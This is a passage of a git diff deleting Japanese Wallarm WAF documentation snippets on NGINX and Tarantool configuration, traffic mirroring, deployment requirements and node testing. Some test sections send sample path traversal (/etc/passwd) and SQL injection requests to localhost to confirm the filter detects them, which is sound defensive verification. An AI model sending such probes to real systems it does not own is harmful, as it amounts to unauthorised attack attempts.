index c370eed551..0000000000 --- a/include-ja/waf/installation/nginx-waf-min-configuration-3.6.md +++ /dev/null @@ -1,91 +0,0 @@ -NGINXおよびWallarmフィルタリングノードの主な設定ファイルは次のディレクトリにあります: - -* `/etc/nginx/conf.d/default.conf`にはNGINXの設定があります -* `/etc/nginx/conf.d/wallarm.conf`にはグローバルなフィルタリングノードの設定があります - - このファイルは、すべてのドメインに適用される設定に使用します。異なるドメイングループに異なる設定を適用するには、`default.conf`ファイルを使用するか、各ドメイングループ（例:`example.com.conf`および`test.com.conf`）ごとに新しい設定ファイルを作成してください。NGINXの設定ファイルに関する詳細は[公式NGINXドキュメント](https://nginx.org/en/docs/beginners_guide.html)にあります。 -* `/etc/nginx/conf.d/wallarm-status.conf`にはWallarmノードの監視設定があります。詳細な説明は[リンク][wallarm-status-instr]にあります。 -* `/etc/default/wallarm-tarantool`または`/etc/sysconfig/wallarm-tarantool`にはTarantoolデータベースの設定があります - -#### リクエストのフィルタリングモード - -デフォルトでは、フィルタリングノードは`off`状態で、受信リクエストを解析しません。リクエスト解析を有効にするには、次の手順を実行してください: - -1. ファイル`/etc/nginx/conf.d/default.conf`を開きます: - - ```bash - sudo vim /etc/nginx/conf.d/default.conf - ``` -2. 行`wallarm_mode monitoring;`を`https`、`server`または`location`ブロックに追加します: - -??? note "ファイル`/etc/nginx/conf.d/default.conf`の例" - - ```bash - server { - # リクエストをフィルタリングするポートです - listen 80; - # リクエストをフィルタリングするドメインです - server_name localhost; - # フィルタリングノードのモードです - wallarm_mode monitoring; - - location / { - root /usr/share/nginx/html; - index index.html index.htm; - } - - error_page 500 502 503 504 /50x.html; - location = /50x.html { - root /usr/share/nginx/html; - } - } - ``` - -`monitoring`モードで動作している場合、フィルタリングノードはリクエスト内の攻撃の兆候を解析しますが、検出された攻撃はブロックしません。フィルタリングノードの導入後は、数日間は`monitoring`モードでフィルタリングノード経由でトラフィックを流し、その後に`block`モードを有効化することを推奨します。[フィルタリングノードの運用モード設定に関する推奨事項 →][waf-mode-recommendations] - -#### メモリ - -!!! info "別サーバー上のpostanalyticsモジュール" - postanalyticsモジュールを別サーバーにインストール済みの場合、この手順はスキップしてください。すでにモジュールの設定が完了しています。 - -WallarmノードはインメモリストレージのTarantoolを使用します。必要なリソース量の詳細は[こちら][memory-instr]を参照してください。テスト環境では本番環境より少ないリソースを割り当てることができます。 - -Tarantoolに割り当てるメモリを設定するには: - -1. Tarantoolの設定ファイルを編集モードで開きます: - - === "Debian" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "Ubuntu" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "CentOSまたはAmazon Linux 2.0.2021xおよびそれ以前" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` - === "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -2. `SLAB_ALLOC_ARENA`ディレクティブにGB単位のメモリサイズを指定します。値は整数または浮動小数点数（小数点の区切りはドット`.`）にできます。 - - Tarantoolへのメモリ割り当てに関する詳細な推奨事項は、これらの[手順][memory-instr]に記載されています。 -3. 変更を適用するには、Tarantoolを再起動します: - - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -#### 個別のpostanalyticsサーバーのアドレス - -!!! info "NGINX-Wallarmとpostanalyticsが同一サーバー上にある場合" - NGINX-Wallarmとpostanalyticsの各モジュールが同じサーバーにインストールされている場合、この手順はスキップしてください。 - ---8<-- "../include/waf/configure-separate-postanalytics-address-nginx.md" - -#### その他の設定 - -その他のNGINXおよびWallarmノードの設定を更新するには、NGINXのドキュメントと[利用可能なWallarmノードのディレクティブ][waf-directives-instr]の一覧を参照してください。 \ No newline at end of file diff --git a/include-ja/waf/installation/oob/steps-for-mirroring-cloud.md b/include-ja/waf/installation/oob/steps-for-mirroring-cloud.md deleted file mode 100644 index 78616a76fa..0000000000 --- a/include-ja/waf/installation/oob/steps-for-mirroring-cloud.md +++ /dev/null @@ -1,44 +0,0 @@ -デフォルトでは、デプロイ済みのWallarmノードは受信トラフィックを解析しません。 - -トラフィックの解析を開始するには、Wallarmインスタンス上の`/etc/nginx/sites-enabled/default`ファイルを次のように変更します: - -1. Wallarmノードがミラーリングされたトラフィックを受け入れるようにするには、NGINXのserverブロックに次の設定を行います: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # 222.222.222.22をミラーリングサーバのアドレスに置き換えます - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * `set_real_ip_from`および`real_ip_header`ディレクティブは、Wallarm Consoleで[攻撃者のIPアドレスを表示する][real-ip-docs]ために必要です。 - * `wallarm_force_response_*`ディレクティブは、ミラーリングされたトラフィックから受信したコピーを除くすべてのリクエストの解析を無効にするために必要です。 -1. Wallarmノードがミラーリングされたトラフィックを解析するようにするには、`wallarm_mode`ディレクティブを`monitoring`に設定します: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - 悪意のあるリクエストは[ブロックできません][oob-advantages-limitations]ので、Wallarmが受け付ける唯一の[モード][wallarm-mode]はmonitoringです。インラインデプロイでは、safe blockingモードとblockingモードもありますが、`wallarm_mode`ディレクティブをmonitoring以外の値に設定しても、ノードは引き続きトラフィックを監視し、悪意のあるトラフィックのみを記録します（offに設定したモードは除きます）。 -1. ローカルファイルの干渉なしにトラフィックがWallarmに向けられるようにするため、存在する場合はNGINXのlocationブロックから`try_files`ディレクティブを削除します: - - ```diff - server { - ... - location / { - - # try_files $uri $uri/ =404; - } - ... - } - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/oob/steps-for-mirroring-linux-all-in-one.md b/include-ja/waf/installation/oob/steps-for-mirroring-linux-all-in-one.md deleted file mode 100644 index 37e59a3699..0000000000 --- a/include-ja/waf/installation/oob/steps-for-mirroring-linux-all-in-one.md +++ /dev/null @@ -1,44 +0,0 @@ -デフォルトでは、デプロイ済みのWallarmノードは受信トラフィックを解析しません。 - -ミラーされたトラフィックをWallarmで処理できるよう、ノードをインストールしたマシン上のNGINX[設定ファイル](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/)で次の設定を行います: - -1. Wallarmノードがミラーされたトラフィックを受け付けるよう、NGINXの`server`ブロックに以下を設定します: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # 222.222.222.22をミラーリングサーバのアドレスに変更します - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * `set_real_ip_from`および`real_ip_header`ディレクティブは、Wallarm Consoleが[攻撃者のIPアドレスを表示][proxy-balancer-instr]するために必要です。 - * `wallarm_force_response_*`ディレクティブは、ミラーされたトラフィックから受け取ったコピーを除くすべてのリクエストの解析を無効化するために必要です。 -1. Wallarmノードがミラーされたトラフィックを解析できるよう、`wallarm_mode`ディレクティブを`monitoring`に設定します。 - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - 悪意のあるリクエストは[ブロックできない][oob-advantages-limitations]ため、Wallarmが受け付ける[モード][waf-mode-instr]はmonitoringのみです。インラインデプロイメントではsafe blockingおよびblockingモードも利用できますが、`wallarm_mode`ディレクティブをmonitoring以外の値に設定しても、ノードは引き続きトラフィックを監視し、悪意のあるトラフィックのみを記録します（offに設定したモードを除く）。 -1. ローカルファイルによる干渉なくトラフィックがWallarmにルーティングされるよう、存在する場合はNGINXのlocationブロックから`try_files`ディレクティブを削除します: - - ```diff - server { - ... - location / { - - # try_files $uri $uri/ =404; - } - ... - } - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/oob/steps-for-mirroring-linux.md b/include-ja/waf/installation/oob/steps-for-mirroring-linux.md deleted file mode 100644 index 9dedeb9b24..0000000000 --- a/include-ja/waf/installation/oob/steps-for-mirroring-linux.md +++ /dev/null @@ -1,33 +0,0 @@ -デフォルトでは、デプロイ済みのWallarm nodeは受信トラフィックを解析しません。 - -Wallarmがミラーされたトラフィックを処理できるように、Wallarm nodeがインストールされているマシンの`/etc/nginx/conf.d/default.conf`ファイルで次の設定を行います: - -1. Wallarm nodeがミラーされたトラフィックを受け入れるには、NGINXの`server`ブロックに次の設定を行います: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # 222.222.222.22をミラーリングサーバーのアドレスに変更してください - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * `set_real_ip_from`と`real_ip_header`ディレクティブは、Wallarm Consoleが[攻撃者のIPアドレスを表示する][proxy-balancer-instr]ために必要です。 - * `wallarm_force_response_*`ディレクティブは、ミラーされたトラフィックから受け取ったコピー以外のすべてのリクエストの解析を無効にするために必要です。 -1. Wallarm nodeがミラーされたトラフィックを解析するには、`wallarm_mode`ディレクティブを`monitoring`に設定します: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - 悪意のあるリクエストは[ブロックできません][oob-advantages-limitations]ので、Wallarmがサポートする唯一の[モード][waf-mode-instr]はmonitoringです。インラインデプロイメントでは、safe blockingおよびblockingのモードもありますが、`wallarm_mode`ディレクティブをmonitoring以外の値に設定しても、ノードは引き続きトラフィックを監視し、悪意のあるトラフィックのみを記録します（モードをoffに設定した場合を除きます）。 \ No newline at end of file diff --git a/include-ja/waf/installation/quick-start-configuration-options-4.4.md b/include-ja/waf/installation/quick-start-configuration-options-4.4.md deleted file mode 100644 index 30d210a096..0000000000 --- a/include-ja/waf/installation/quick-start-configuration-options-4.4.md +++ /dev/null @@ -1,4 +0,0 @@ -* [トラフィックフィルタリングモードの設定][operation-mode-rule-docs] -* [トラフィックフィルタリングルールのカスタマイズ][rules-docs] -* [IPアドレスの許可リスト登録、拒否リスト登録、グレーリスト登録][ip-lists-docs] -* [DevOpsツールとのネイティブ連携][integration-docs]および[Triggers][trigger-docs]によるシステムイベント通知の設定 \ No newline at end of file diff --git a/include-ja/waf/installation/quick-start-configuration-options.md b/include-ja/waf/installation/quick-start-configuration-options.md deleted file mode 100644 index 6e16f68538..0000000000 --- a/include-ja/waf/installation/quick-start-configuration-options.md +++ /dev/null @@ -1,5 +0,0 @@ -* [トラフィックフィルタリングモードの設定][operation-mode-rule-docs] -* [トラフィックフィルタリングルールのカスタマイズ][rules-docs] -* [IPアドレスの許可リスト、拒否リスト、グレーリストの設定][ip-lists-docs] -* DevOpsツールとの[ネイティブ連携][integration-docs]および[triggers][trigger-docs]によるシステムイベント通知 -* [**libdetection**による攻撃の二重検知][enable-libdetection-docs] \ No newline at end of file diff --git a/include-ja/waf/installation/requirements-docker-nginx-4.0.md b/include-ja/waf/installation/requirements-docker-nginx-4.0.md deleted file mode 100644 index 2c39f9fd84..0000000000 --- a/include-ja/waf/installation/requirements-docker-nginx-4.0.md +++ /dev/null @@ -1,7 +0,0 @@ -* ホストシステムに[Docker](https://docs.docker.com/engine/install/)がインストールされている必要があります -* Dockerイメージをダウンロードするために`https://hub.docker.com/r/wallarm/node`へのアクセスが必要があります。アクセスがファイアウォールによってブロックされていないことを確認してください -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセスが必要です -* US Wallarm Cloudを使用している場合は`https://us1.api.wallarm.com`、EU Wallarm Cloudを使用している場合は`https://api.wallarm.com`へのアクセスが必要があります。アクセスがファイアウォールによってブロックされていないことを確認してください -* 攻撃検出ルールの更新をダウンロードするため、また[allowlisted, denylisted, or graylisted][ip-lists-docs]の国、地域、データセンターに対する正確なIPアドレスを取得するために、以下のIPアドレスへのアクセスが必要があります - - --8<-- "../include/wallarm-cloud-ips.md" \ No newline at end of file diff --git a/include-ja/waf/installation/requirements-docker-nginx-latest.md b/include-ja/waf/installation/requirements-docker-nginx-latest.md deleted file mode 100644 index 3e78e659e4..0000000000 --- a/include-ja/waf/installation/requirements-docker-nginx-latest.md +++ /dev/null @@ -1,7 +0,0 @@ -* ホストシステムに[Docker](https://docs.docker.com/engine/install/)がインストールされている必要があります。 -* Dockerイメージのダウンロードのために`https://hub.docker.com/r/wallarm/node`へのアクセスが必要です。アクセスがファイアウォールでブロックされていないことを確認してください。 -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセスが必要です。 -* US Wallarm Cloudをご利用の場合は`https://us1.api.wallarm.com`、EU Wallarm Cloudをご利用の場合は`https://api.wallarm.com`へのアクセスが必要です。アクセスがファイアウォールでブロックされていないことを確認してください。 -* 攻撃検知ルールおよび[API仕様][api-policy-enf-docs]の更新のダウンロードと、ご利用の[allowlisted、denylisted、graylisted][ip-lists-docs]の国・地域・データセンターに対応する正確なIPアドレスの取得のために、以下のIPアドレスへのアクセスが必要です。 - - --8<-- "../include/wallarm-cloud-ips.md" \ No newline at end of file diff --git a/include-ja/waf/installation/requirements-docker.md b/include-ja/waf/installation/requirements-docker.md deleted file mode 100644 index e29f5346bd..0000000000 --- a/include-ja/waf/installation/requirements-docker.md +++ /dev/null @@ -1,2 +0,0 @@ -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Deploy**または**Administrator**ロールを持つアカウントへのアクセス権が必要です -* US Wallarm Cloudを使用している場合は`https://us1.api.wallarm.com:444`、EU Wallarm Cloudを使用している場合は`https://api.wallarm.com:444`へのアクセスが必要です。ファイアウォールによってアクセスがブロックされていないことを確認してください \ No newline at end of file diff --git a/include-ja/waf/installation/requirements-nginx-ingress-controller-4.10.md b/include-ja/waf/installation/requirements-nginx-ingress-controller-4.10.md deleted file mode 100644 index 594ac69c9c..0000000000 --- a/include-ja/waf/installation/requirements-nginx-ingress-controller-4.10.md +++ /dev/null @@ -1,10 +0,0 @@ -* Kubernetesプラットフォームのバージョン1.24-1.27が必要です。 -* [Helm](https://helm.sh/)パッケージマネージャーが必要です。 -* お使いのサービスが[Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx)バージョン1.9.5と互換性がある必要があります。 -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセスが必要です。 -* US Wallarm Cloudの利用のための`https://us1.api.wallarm.com`へのアクセス、またはEU Wallarm Cloudの利用のための`https://api.wallarm.com`へのアクセスが必要です。 -* Wallarm Helmチャートを追加するための`https://charts.wallarm.com`へのアクセスが必要です。ファイアウォールでブロックされていないことを確認してください。 -* Docker HubのWallarmリポジトリ`https://hub.docker.com/r/wallarm`へのアクセスが必要です。ファイアウォールでブロックされていないことを確認してください。 -* 攻撃検知ルールおよび[API仕様][api-spec-enforcement-docs]の更新をダウンロードし、さらに[allowlisted、denylisted、graylisted][ip-lists-docs]の国、地域、またはデータセンターの正確なIPアドレスを取得するために、以下のIPアドレスへのアクセスが必要です。 - - --8<-- "../include/wallarm-cloud-ips.md" \ No newline at end of file diff --git a/include-ja/waf/installation/requirements-nginx-ingress-controller-latest.md b/include-ja/waf/installation/requirements-nginx-ingress-controller-latest.md deleted file mode 100644 index 88e5eae1e0..0000000000 --- a/include-ja/waf/installation/requirements-nginx-ingress-controller-latest.md +++ /dev/null @@ -1,10 +0,0 @@ -* Kubernetesプラットフォームのバージョンは1.26〜1.30です -* [Helm](https://helm.sh/)パッケージマネージャーが必要です -* 運用中のサービスが[Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx)バージョン1.11.5と互換性があります -* Wallarm Consoleの[US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)で**Administrator**ロールを持つアカウントへのアクセス権が必要です -* US Wallarm Cloudでの作業用`https://us1.api.wallarm.com`へのアクセス、またはEU Wallarm Cloudでの作業用`https://api.wallarm.com`へのアクセスが必要です -* WallarmのHelmチャートを追加するための`https://charts.wallarm.com`へのアクセスが必要です。アクセスがファイアウォールによりブロックされていないことを確認します -* Docker Hub上のWallarmリポジトリ`https://hub.docker.com/r/wallarm`へのアクセスが必要です。アクセスがファイアウォールによりブロックされていないことを確認します -* 攻撃検知ルールおよび[API仕様][api-spec-enforcement-docs]の更新をダウンロードし、さらに[allowlisted, denylisted, or graylisted][ip-lists-docs]の国・地域・データセンターの正確なIPアドレスを取得するために、以下のIPアドレスへのアクセスが必要です - - --8<-- "../include/wallarm-cloud-ips.md" \ No newline at end of file diff --git a/include-ja/waf/installation/requirements-nginx-ingress-controller.md b/include-ja/waf/installation/requirements-nginx-ingress-controller.md deleted file mode 100644 index 63706956d1..0000000000 --- a/include-ja/waf/installation/requirements-nginx-ingress-controller.md +++ /dev/null @@ -1,10 +0,0 @@ -* Kubernetesプラットフォームのバージョンは1.24-1.27である必要があります。 -* [Helm](https://helm.sh/)パッケージマネージャーが必要です。 -* ご利用のサービスが[Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx)バージョン1.9.5と互換性がある必要があります。 -* Wallarm Consoleの[US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)で**Administrator**ロールを持つアカウントへのアクセスが必要です。 -* USのWallarm Cloudで作業する場合は`https://us1.api.wallarm.com`、EUのWallarm Cloudで作業する場合は`https://api.wallarm.com`へのアクセスが必要です。 -* WallarmのHelmチャートを追加するために`https://charts.wallarm.com`へのアクセスが必要です。ファイアウォールでブロックされていないことを確認してください。 -* Docker HubのWallarmリポジトリ`https://hub.docker.com/r/wallarm`へのアクセスが必要です。ファイアウォールでブロックされていないことを確認してください。 -* 攻撃検出ルールの更新をダウンロードするため、また、[allowlisted, denylisted, or graylisted][ip-lists-docs]の国、地域、またはデータセンターの正確なIPを取得するために、以下のIPアドレスへのアクセスが必要です。 - - --8<-- "../include/wallarm-cloud-ips.md" \ No newline at end of file diff --git a/include-ja/waf/installation/restart-nginx-systemctl.md b/include-ja/waf/installation/restart-nginx-systemctl.md deleted file mode 100644 index 3cc7027f51..0000000000 --- a/include-ja/waf/installation/restart-nginx-systemctl.md +++ /dev/null @@ -1,5 +0,0 @@ -次のコマンドを使用してNGINXを再起動します: - -```bash -sudo systemctl restart nginx -``` \ No newline at end of file diff --git a/include-ja/waf/installation/security-edge/connector-troubleshooting.md b/include-ja/waf/installation/security-edge/connector-troubleshooting.md deleted file mode 100644 index 18c16b21b4..0000000000 --- a/include-ja/waf/installation/security-edge/connector-troubleshooting.md +++ /dev/null @@ -1,2 +0,0 @@ -* Wallarm ConsoleでWallarmがホストするノードのステータスが**Failed**の場合、デプロイに問題が発生しています。[Wallarm Support portal](https://support.wallarm.com/)からご報告ください。調査します。 -* その他の問題がある場合やサポートが必要な場合も、[Wallarm Support portal](https://support.wallarm.com/)にリクエストをお寄せください。デプロイに関するどのような問題でもサポートします。 \ No newline at end of file diff --git a/include-ja/waf/installation/sending-traffic-to-node-inline-oob-latest.md b/include-ja/waf/installation/sending-traffic-to-node-inline-oob-latest.md deleted file mode 100644 index a6d8b494cd..0000000000 --- a/include-ja/waf/installation/sending-traffic-to-node-inline-oob-latest.md +++ /dev/null @@ -1,21 +0,0 @@ -使用しているデプロイ手法に応じて、以下の設定を行ってください。 - -=== "インライン" - ロードバランサーのターゲットを更新し、トラフィックをWallarmインスタンスに送信するようにします。詳細は、使用しているロードバランサーのドキュメントを参照してください。 -=== "アウトオブバンド" - 1. Webまたはプロキシサーバー（例：NGINX、Envoy）を、受信トラフィックをWallarmノードにミラーリングするように設定します。設定の詳細については、Webまたはプロキシサーバーのドキュメントを参照することをお勧めします。 - - この[リンク][web-server-mirroring-examples]に、主要なWebおよびプロキシサーバー（NGINX、Traefik、Envoy）の設定例が掲載されています。 - 1. Wallarmフィルタリングノードが稼働しているマシンの`/etc/nginx/sites-enabled/default`ファイルに、次の設定を記述します。 - - ``` - location / { - include /etc/nginx/presets.d/mirror.conf; - - # 222.222.222.22をミラーリングサーバーのアドレスに変更してください - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - } - ``` - - `set_real_ip_from`と`real_ip_header`のディレクティブは、Wallarm Consoleで[攻撃者のIPアドレスを表示する][real-ip-docs]ために必要です。 \ No newline at end of file diff --git a/include-ja/waf/installation/sending-traffic-to-node-inline-oob.md b/include-ja/waf/installation/sending-traffic-to-node-inline-oob.md deleted file mode 100644 index 62ae609909..0000000000 --- a/include-ja/waf/installation/sending-traffic-to-node-inline-oob.md +++ /dev/null @@ -1,8 +0,0 @@ -使用しているデプロイ方式に応じて、次の設定を行ってください: - -=== "インライン" - ロードバランサーのターゲットを更新し、トラフィックをWallarmインスタンスに送信するように設定します。詳細については、ロードバランサーのドキュメントを参照してください。 -=== "アウトオブバンド" - Webまたはプロキシサーバー（例：NGINX、Envoy）を構成し、受信トラフィックをWallarmノードにミラーリングするように設定します。構成の詳細については、Webまたはプロキシサーバーのドキュメントを参照してください。 - - [リンク][web-server-mirroring-examples]内に、最も一般的なWebおよびプロキシサーバー（NGINX、Traefik、Envoy）向けの設定例があります。 \ No newline at end of file diff --git a/include-ja/waf/installation/sending-traffic-to-node-inline.md b/include-ja/waf/installation/sending-traffic-to-node-inline.md deleted file mode 100644 index 0098ee938e..0000000000 --- a/include-ja/waf/installation/sending-traffic-to-node-inline.md +++ /dev/null @@ -1 +0,0 @@ -Wallarmインスタンスにトラフィックを送信するように、ロードバランサーのターゲットを更新してください。詳細は、ご利用のロードバランサーのドキュメントを参照してください。 \ No newline at end of file diff --git a/include-ja/waf/installation/sending-traffic-to-node-oob.md b/include-ja/waf/installation/sending-traffic-to-node-oob.md deleted file mode 100644 index 13280c8b6b..0000000000 --- a/include-ja/waf/installation/sending-traffic-to-node-oob.md +++ /dev/null @@ -1,3 +0,0 @@ -デプロイ中のWallarm nodeを実行するインスタンスに受信トラフィックをミラーリングするように環境を構成してください。構成の詳細については、トラフィックのミラーリングを行うために使用するソリューション（Webサーバ、プロキシサーバなど）のドキュメントを参照することを推奨します。 - -この[リンク][web-server-mirroring-examples]には、NGINX、Traefik、Envoy向けの構成例があります。 \ No newline at end of file diff --git a/include-ja/waf/installation/sidecar-proxy-reqs-latest.md b/include-ja/waf/installation/sidecar-proxy-reqs-latest.md deleted file mode 100644 index 3d2dfbcc91..0000000000 --- a/include-ja/waf/installation/sidecar-proxy-reqs-latest.md +++ /dev/null @@ -1,10 +0,0 @@ -* Kubernetesプラットフォームのバージョン1.19〜1.29が必要です -* [Helm v3](https://helm.sh/)パッケージマネージャーが必要です -* Kubernetesクラスター内にPodとしてデプロイされたアプリケーションが必要です -* US Wallarm Cloudを使用するための`https://us1.api.wallarm.com`へのアクセス、またはEU Wallarm Cloudを使用するための`https://api.wallarm.com`へのアクセスが必要です -* WallarmのHelmチャートを追加するための`https://charts.wallarm.com`へのアクセスが必要です -* Docker Hub上のWallarmリポジトリ`https://hub.docker.com/r/wallarm`へのアクセスが必要です -* 以下のIPアドレスへのアクセスが必要です。これは、攻撃検知ルールおよび[API仕様][api-spec-enforcement-docs]の更新をダウンロードし、さらにお客様の[allowlisted, denylisted, or graylisted][ip-lists-docs]の国、地域、またはデータセンターに対応する正確なIPアドレスを取得するために必要です - - --8<-- "../include/wallarm-cloud-ips.md" -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセスが必要です \ No newline at end of file diff --git a/include-ja/waf/installation/sidecar-proxy-reqs.md b/include-ja/waf/installation/sidecar-proxy-reqs.md deleted file mode 100644 index f66da8f346..0000000000 --- a/include-ja/waf/installation/sidecar-proxy-reqs.md +++ /dev/null @@ -1,10 +0,0 @@ -* Kubernetesプラットフォームのバージョンは1.19-1.29である必要があります。 -* パッケージマネージャー[Helm v3](https://helm.sh/)が必要です。 -* Kubernetesクラスター内でPodとしてデプロイされたアプリケーションが必要です。 -* US Wallarm Cloudの利用には`https://us1.api.wallarm.com`へのアクセス、EU Wallarm Cloudの利用には`https://api.wallarm.com`へのアクセスが必要です。 -* Wallarm Helmチャートを追加するために`https://charts.wallarm.com`へのアクセスが必要です。 -* Docker Hub上のWallarmリポジトリ`https://hub.docker.com/r/wallarm`へのアクセスが必要です。 -* 攻撃検知ルールの更新をダウンロードし、さらに、[許可リスト、拒否リスト、またはグレーリストに登録された][ip-lists-docs]国、地域、またはデータセンターの正確なIPアドレスを取得するために、以下のIPアドレスへのアクセスが必要です。 - - --8<-- "../include/wallarm-cloud-ips.md" -* Wallarm Consoleで**Administrator**ロールを持つアカウントへのアクセスが、[US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)向けに必要です。 \ No newline at end of file diff --git a/include-ja/waf/installation/test-after-node-type-upgrade.md b/include-ja/waf/installation/test-after-node-type-upgrade.md deleted file mode 100644 index d3e4101afc..0000000000 --- a/include-ja/waf/installation/test-after-node-type-upgrade.md +++ /dev/null @@ -1,17 +0,0 @@ -1. テスト用の[パストラバーサル][ptrav-attack-docs]攻撃をアプリケーションのアドレスに送信します： - - ``` - curl http://localhost/etc/passwd - ``` - - トラフィックが`example.com`にプロキシされるように構成されている場合は、リクエストにヘッダー`-H "Host: example.com"`を含めます。 -1. 新しいタイプのノードが、**通常の**ノードと同じ方法でリクエストを処理することを確認します。例えば次のとおりです： - - * 適切な[フィルタリングモード][waf-mode-instr]が構成されている場合は、リクエストをブロックします。 - * 設定されている場合は、[カスタムブロッキングページ][blocking-page-instr]を返します。 -2. [EU Cloud](https://my.wallarm.com/attacks)または[US Cloud](https://us1.my.wallarm.com/attacks)でWallarm Console → **Attacks**を開き、次のことを確認します： - - * 攻撃が一覧に表示されていること。 - * Hit detailsにWallarmノードUUIDが表示されていること。 - - ![インターフェースのAttacks][attacks-in-ui-image] \ No newline at end of file diff --git a/include-ja/waf/installation/test-waf-operation-no-stats-for-deprecated.md b/include-ja/waf/installation/test-waf-operation-no-stats-for-deprecated.md deleted file mode 100644 index 9a8df720d6..0000000000 --- a/include-ja/waf/installation/test-waf-operation-no-stats-for-deprecated.md +++ /dev/null @@ -1,7 +0,0 @@ -1. テスト用の[SQLインジェクション][sqli-attack-docs]および[XSS][xss-attack-docs]攻撃を含むリクエストを保護されたリソースのアドレスに送信します： - - ``` - curl http://localhost/?id='or+1=1--a-' - ``` -2. [US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)でWallarm Console → **Attacks**セクションを開き、攻撃が一覧に表示されていることを確認します。 - ![インターフェースのAttacks][attacks-in-ui-image] \ No newline at end of file diff --git a/include-ja/waf/installation/test-waf-operation-no-stats.md b/include-ja/waf/installation/test-waf-operation-no-stats.md deleted file mode 100644 index e48ba2f7a9..0000000000 --- a/include-ja/waf/installation/test-waf-operation-no-stats.md +++ /dev/null @@ -1,12 +0,0 @@ -1. 保護対象のリソースアドレスに、テスト用の[パストトラバーサル][ptrav-attack-docs]攻撃を伴うリクエストを送信します: - - ``` - curl http://localhost/etc/passwd - ``` - - トラフィックが`example.com`にプロキシされるように設定されている場合、リクエストに`-H "Host: example.com"`ヘッダーを含めます。 -1. Wallarm Console → **Attacks**セクションを[US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)で開き、攻撃が一覧に表示されていることを確認します。 - - ![インターフェースのAttacks][attacks-in-ui-image] - -1. 必要に応じて、ノードの動作の他の側面を[テスト][link-wallarm-health-check]します。 \ No newline at end of file diff --git a/include-ja/waf/installation/upgrade-methods.md b/include-ja/waf/installation/upgrade-methods.md deleted file mode 100644 index 5c2300afb5..0000000000 --- a/include-ja/waf/installation/upgrade-methods.md +++ /dev/null @@ -1,4 +0,0 @@ -アップグレード方法は2つあります: - -* アップグレード手順の実行中に[オールインワンインストーラー](#upgrade-with-all-in-one-installer)の使用へ切り替えます。これは、NGINXやOSのバージョン特定、適切なWallarmリポジトリの追加、パッケージのインストールなど、ノードのインストールおよびアップグレードに関するさまざまな作業を自動化するため、推奨の方法です。 -* 個別のDEB/RPMパッケージを用いる現在の[手動](#manual-upgrade)インストール方法を引き続き使用します。ただし、今後のアップグレードでは、この方法は新しい方法と比べて追加の作業や手動での設定が必要になる点にご注意ください。 \ No newline at end of file diff --git a/include-ja/waf/restart-nginx-2.16.md b/include-ja/waf/restart-nginx-2.16.md deleted file mode 100644 index 64db99961c..0000000000 --- a/include-ja/waf/restart-nginx-2.16.md +++ /dev/null @@ -1,12 +0,0 @@ -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOSまたはAmazon Linux 2.0.2021x以下" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-ja/waf/restart-nginx-3.6.md b/include-ja/waf/restart-nginx-3.6.md deleted file mode 100644 index c01d89a004..0000000000 --- a/include-ja/waf/restart-nginx-3.6.md +++ /dev/null @@ -1,16 +0,0 @@ -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOSまたはAmazon Linux 2.0.2021x以下" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-ja/waf/restart-nginx-4.4-and-above.md 